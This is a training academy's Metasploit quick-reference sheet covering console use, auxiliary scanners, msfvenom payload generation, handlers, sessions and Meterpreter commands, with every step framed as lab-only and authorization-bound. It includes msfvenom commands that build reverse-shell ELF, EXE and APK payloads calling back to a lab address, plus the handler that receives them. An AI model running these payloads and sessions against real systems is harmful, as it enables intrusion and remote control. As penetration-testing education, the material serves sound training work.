MNA TECH ACADEMY
LEARN • PRACTICE • SUCCEED

PREMIUM PROFESSIONAL REFERENCE · 2026

Metasploit Framework Exploitation Quick Reference

Modules · Payloads · Sessions

A lab-safe guide to msfconsole, auxiliary modules, payload selection, msfvenom, handlers, sessions, Meterpreter, evidence, and cleanup.

6	100+	Lab-safe
Core sections	Commands & steps	Workflow

https://mnatech.in/ @mna_tech_academy +91 9216110094

How to use this guide

This reference is designed for legal labs, approved assessments, troubleshooting, and professional learning. Replace placeholders with systems you own or are explicitly authorized to test.

> **Authorization first:** Scanning, exploitation, interception, and administrative commands can disrupt services or expose data. Confirm written scope, use conservative rates, preserve evidence, and stop if impact appears.

Contents

01 · Framework Orientation
Console, database, search, workspaces and module anatomy

02 · Auxiliary Modules
Scanning, validation, discovery and safe module operation

03 · Payloads & Msfvenom
Payload selection, formats, generation and verification for isolated labs

04 · Handlers, Exploits & Sessions
Controlled lab execution, payload handlers and session lifecycle

05 · Meterpreter & Post Modules
Session inspection and non-destructive post-exploitation in disposable labs

06 · Workflow & Official References
A safe seven-step operating model

01

Framework Orientation

Console, database, search, workspaces and module anatomy

01 · Start the Metasploit interactive console.

```
msfconsole
```

Start the Metasploit interactive console.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

02 · Show console commands and help topics.

```
help
```

Show console commands and help topics.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

03 · Show help for the search command.

```
help search
```

Show help for the search command.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

04 · Display Framework and console version information.

```
version
```

Display Framework and console version information.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

05 · Display a Framework banner.

```
banner
```

Display a Framework banner.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

06 · Show commands used in the current console history.

```
history
```

Show commands used in the current console history.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

07 · Find HTTP-related auxiliary modules.

```
search type:auxiliary name:http
```

Find HTTP-related auxiliary modules.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

08 · Find exploit modules for Linux targets.

```
search type:exploit platform:linux
```

Find exploit modules for Linux targets.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

09 · Search by CVE and module reliability rank.

```
search cve:2021 rank:excellent
```

Search by CVE and module reliability rank.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

10 · Read module description, authors, options, and references.

```
info auxiliary/scanner/http/http_version
```

Read module description, authors, options, and references.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

11 · Select the HTTP version scanner.

```
use auxiliary/scanner/http/http_version
```

Select the HTTP version scanner.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

12 · Display required and optional datastore values.

```
show options
```

Display required and optional datastore values.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

13 · Display advanced module settings.

```
show advanced
```

Display advanced module settings.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

14 · List required options that are not yet configured.

```
show missing
```

List required options that are not yet configured.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

15 · Leave the selected module context.

```
back
```

Leave the selected module context.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

16 · Return to the previously selected module.

```
previous
```

Return to the previously selected module.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

17 · Add the current module to favorites.

```
favorites add
```

Add the current module to favorites.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

18 · List favorite modules.

```
show favorites
```

List favorite modules.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

19 · Check whether the database is connected.

```
db_status
```

Check whether the database is connected.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

20 · List database workspaces.

```
workspace
```

List database workspaces.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

21 · Create a workspace named lab.

```
workspace -a lab
```

Create a workspace named lab.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

22 · Switch to the lab workspace.

```
workspace lab
```

Switch to the lab workspace.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

23 · List discovered hosts in the current workspace.

```
hosts
```

List discovered hosts in the current workspace.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

24 · List discovered services.

```
services
```

List discovered services.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

25 · List imported or recorded vulnerabilities.

```
vulns
```

List imported or recorded vulnerabilities.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

26 · List workspace notes.

```
notes
```

List workspace notes.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

27 · List collected lab artifacts.

```
loot
```

List collected lab artifacts.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

28 · Import an authorized Nmap XML result.

```
db_import scan.xml
```

Import an authorized Nmap XML result.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

29 · Run Nmap through Metasploit and store results.

```
db_nmap -sV 192.0.2.10
```

Run Nmap through Metasploit and store results.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

30 · Save current datastore settings as defaults.

```
save
```

Save current datastore settings as defaults.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

31 · Exit the console without an extra prompt.

```
exit -y
```

Exit the console without an extra prompt.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

02

Auxiliary Modules

Scanning, validation, discovery and safe module operation

01 · Select the TCP port scanner module.

```
use auxiliary/scanner/portscan/tcp
```

Select the TCP port scanner module.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

02 · Set an authorized target range.

```
set RHOSTS 192.0.2.0/28
```

Set an authorized target range.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

03 · Choose ports for the selected scanner.

```
set PORTS 22,80,443
```

Choose ports for the selected scanner.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

04 · Set controlled parallelism.

```
set THREADS 10
```

Set controlled parallelism.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

05 · Execute the selected auxiliary module.

```
run
```

Execute the selected auxiliary module.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

06 · Run the module as a background job.

```
run -j
```

Run the module as a background job.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

07 · List background jobs.

```
jobs
```

List background jobs.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

08 · Show information about job zero.

```
jobs -i 0
```

Show information about job zero.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

09 · Stop job zero.

```
jobs -k 0
```

Stop job zero.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

10 · Select HTTP version detection.

```
use auxiliary/scanner/http/http_version
```

Select HTTP version detection.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

11 · Load authorized targets from a file.

```
set RHOSTS file:/tmp/targets.txt
```

Load authorized targets from a file.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

12 · Run HTTP version detection.

```
run
```

Run HTTP version detection.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

13 · Select SSH version detection.

```
use auxiliary/scanner/ssh/ssh_version
```

Select SSH version detection.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

14 · Set the SSH service port.

```
set RPORT 22
```

Set the SSH service port.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

15 · Run SSH banner and version detection.

```
run
```

Run SSH banner and version detection.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

16 · Select SMB version detection.

```
use auxiliary/scanner/smb/smb_version
```

Select SMB version detection.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

17 · Set one lab host.

```
set RHOSTS 192.0.2.10
```

Set one lab host.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

18 · Enumerate the SMB implementation and dialect information.

```
run
```

Enumerate the SMB implementation and dialect information.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

19 · Select a historical TLS vulnerability check for a lab.

```
use auxiliary/scanner/ssl/openssl_heartbleed
```

Select a historical TLS vulnerability check for a lab.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

20 · Review required values and module behavior before running.

```
show options
```

Review required values and module behavior before running.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

21 · Use the module's check method when available.

```
check
```

Use the module's check method when available.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

22 · Remove the current target setting.

```
unset RHOSTS
```

Remove the current target setting.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

23 · Clear module datastore values.

```
unset all
```

Clear module datastore values.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

24 · Set a global target value for the workspace session.

```
setg RHOSTS 192.0.2.0/28
```

Set a global target value for the workspace session.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

25 · Remove the global target value.

```
unsetg RHOSTS
```

Remove the global target value.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

03

Payloads & Msfvenom

Payload selection, formats, generation and verification for isolated labs

01 · List payloads compatible with the selected module.

```
show payloads
```

List payloads compatible with the selected module.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

02 · Read payload behavior and options.

```
info payload/linux/x64/shell_reverse_tcp
```

Read payload behavior and options.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

03 · List payload modules outside msfconsole.

```
msfvenom --list payloads
```

List payload modules outside msfconsole.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

04 · List supported output formats.

```
msfvenom --list formats
```

List supported output formats.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

05 · List available encoders; encoding is not guaranteed evasion.

```
msfvenom --list encoders
```

List available encoders; encoding is not guaranteed evasion.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

06 · List supported target platforms.

```
msfvenom --list platforms
```

List supported target platforms.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

07 · List supported processor architectures.

```
msfvenom --list archs
```

List supported processor architectures.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

08 · Show options for a Linux x64 reverse shell payload.

```
msfvenom -p linux/x64/shell_reverse_tcp --list-options
```

Show options for a Linux x64 reverse shell payload.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

09 · Show options for a Windows x64 reverse shell payload.

```
msfvenom -p windows/x64/shell_reverse_tcp --list-options
```

Show options for a Windows x64 reverse shell payload.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

10 · Generate an ELF payload for an isolated Linux lab.

```
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.0.2.20 LPORT=4444 -f elf -o lab-shell.elf
```

Generate an ELF payload for an isolated Linux lab.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

11 · Generate a Windows executable payload for a disposable lab VM.

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.0.2.20 LPORT=4444 -f exe -o lab-shell.exe
```

Generate a Windows executable payload for a disposable lab VM.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

12 · Generate an Android lab APK for emulator-only training.

```
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.0.2.20 LPORT=4444 -o lab.apk
```

Generate an Android lab APK for emulator-only training.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

13 · Record the Linux lab artifact hash.

```
sha256sum lab-shell.elf
```

Record the Linux lab artifact hash.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

14 · Record the Windows lab artifact hash.

```
sha256sum lab-shell.exe
```

Record the Windows lab artifact hash.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

15 · Confirm the generated file type.

```
file lab-shell.elf
```

Confirm the generated file type.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

16 · Remove generated lab artifacts after the exercise.

```
rm -f lab-shell.elf lab-shell.exe lab.apk
```

Remove generated lab artifacts after the exercise.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

04

Handlers, Exploits & Sessions

Controlled lab execution, payload handlers and session lifecycle

01 · Select a generic payload handler.

```
use exploit/multi/handler
```

Select a generic payload handler.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

02 · Choose the handler payload that matches the lab artifact.

```
set payload linux/x64/shell_reverse_tcp
```

Choose the handler payload that matches the lab artifact.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

03 · Set the lab callback interface address.

```
set LHOST 192.0.2.20
```

Set the lab callback interface address.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

04 · Set the lab callback port.

```
set LPORT 4444
```

Set the lab callback port.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

05 · Confirm handler configuration.

```
show options
```

Confirm handler configuration.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

06 · Start the handler as a background job.

```
run -j
```

Start the handler as a background job.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

07 · Verify that the handler job is running.

```
jobs
```

Verify that the handler job is running.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

08 · List active sessions.

```
sessions
```

List active sessions.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

09 · Interact with session one.

```
sessions -i 1
```

Interact with session one.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

10 · Background the current session.

```
background
```

Background the current session.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

11 · Name session one for easier tracking.

```
sessions -n lab-linux -i 1
```

Name session one for easier tracking.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

12 · Terminate session one during cleanup.

```
sessions -k 1
```

Terminate session one during cleanup.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

13 · Terminate all sessions during lab cleanup.

```
sessions -K
```

Terminate all sessions during lab cleanup.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

14 · Illustrative module path; replace with a lab-specific module found by search.

```
use exploit/multi/http/example
```

Illustrative module path; replace with a lab-specific module found by search.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

15 · List targets supported by the selected exploit.

```
show targets
```

List targets supported by the selected exploit.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

16 · List compatible payloads.

```
show payloads
```

List compatible payloads.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

17 · Select an appropriate documented target profile.

```
set TARGET 0
```

Select an appropriate documented target profile.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

18 · Check target exposure without exploitation when supported.

```
check
```

Check target exposure without exploitation when supported.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

19 · Execute only after reviewing module behavior and receiving authorization.

```
run
```

Execute only after reviewing module behavior and receiving authorization.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

20 · Run an approved exploit as a background job.

```
exploit -j
```

Run an approved exploit as a background job.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

05

Meterpreter & Post Modules

Session inspection and non-destructive post-exploitation in disposable labs

01 · Show Meterpreter commands available for the current session.

```
help
```

Show Meterpreter commands available for the current session.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

02 · Show the identity used by the current session.

```
getuid
```

Show the identity used by the current session.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

03 · Display operating system and architecture information.

```
sysinfo
```

Display operating system and architecture information.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

04 · Show the current remote working directory.

```
pwd
```

Show the current remote working directory.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

05 · List files in the current remote directory.

```
ls
```

List files in the current remote directory.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

06 · Change to a disposable lab directory.

```
cd /tmp
```

Change to a disposable lab directory.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

07 · Download an explicitly approved lab file.

```
download lab-note.txt
```

Download an explicitly approved lab file.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

08 · Upload a harmless test artifact to an approved lab path.

```
upload harmless-test.txt
```

Upload a harmless test artifact to an approved lab path.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

09 · Calculate a remote file hash where supported.

```
checksum sha256 harmless-test.txt
```

Calculate a remote file hash where supported.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

10 · List processes visible to the session.

```
ps
```

List processes visible to the session.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

11 · Display network interfaces on Windows Meterpreter sessions.

```
ipconfig
```

Display network interfaces on Windows Meterpreter sessions.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

12 · Display network interfaces where the session supports it.

```
ifconfig
```

Display network interfaces where the session supports it.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

13 · Display routes known to the session.

```
route
```

Display routes known to the session.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

14 · Open the platform command shell.

```
shell
```

Open the platform command shell.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

15 · Close the Meterpreter session.

```
exit
```

Close the Meterpreter session.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

16 · Collect environment information from a lab session.

```
run post/multi/gather/env
```

Collect environment information from a lab session.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

17 · Select the environment-gathering post module.

```
use post/multi/gather/env
```

Select the environment-gathering post module.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

18 · Bind the post module to session one.

```
set SESSION 1
```

Bind the post module to session one.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

19 · Review exactly what the post module requires.

```
show options
```

Review exactly what the post module requires.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

20 · Execute the approved post module.

```
run
```

Execute the approved post module.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

21 · Run a reviewed resource script for repeatable lab setup.

```
resource lab.rc
```

Run a reviewed resource script for repeatable lab setup.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

22 · Save recent console commands as a resource script for review.

```
makerc /tmp/session.rc
```

Save recent console commands as a resource script for review.

Note: Run only against deliberately vulnerable lab targets or systems covered by written authorization.

06

Workflow & Official References

A safe seven-step operating model

1 · Scope

Confirm written authorization, target ownership, exclusions, time window, and stop conditions.

2 · Search

Use `search` and `info`; read references and source before executing a module.

3 · Check

Prefer `check` where available and validate versions independently.

4 · Configure

Review `show options`, payload compatibility, callback routing, and safety impact.

5 · Execute

Use a disposable lab first. Monitor target health and logs.

6 · Evidence

Record timestamps, console output, affected asset, exact module, and configuration.

7 · Cleanup

Close sessions and jobs, remove artifacts, verify restoration, and document cleanup.

Official docs

https://docs.metasploit.com/ · https://docs.rapid7.com/metasploit/

Keep learning safely

Website
https://mnatech.in/

Instagram
@mna_tech_academy

Call / WhatsApp
+91 9216110094

Practice rule
Only test systems you own or have written authorization to assess.

© 2026 MNA Tech Academy. All rights reserved.
Original educational reference. Product names and trademarks belong to their respective owners. Commands may vary by version and operating system; verify with official documentation before production use.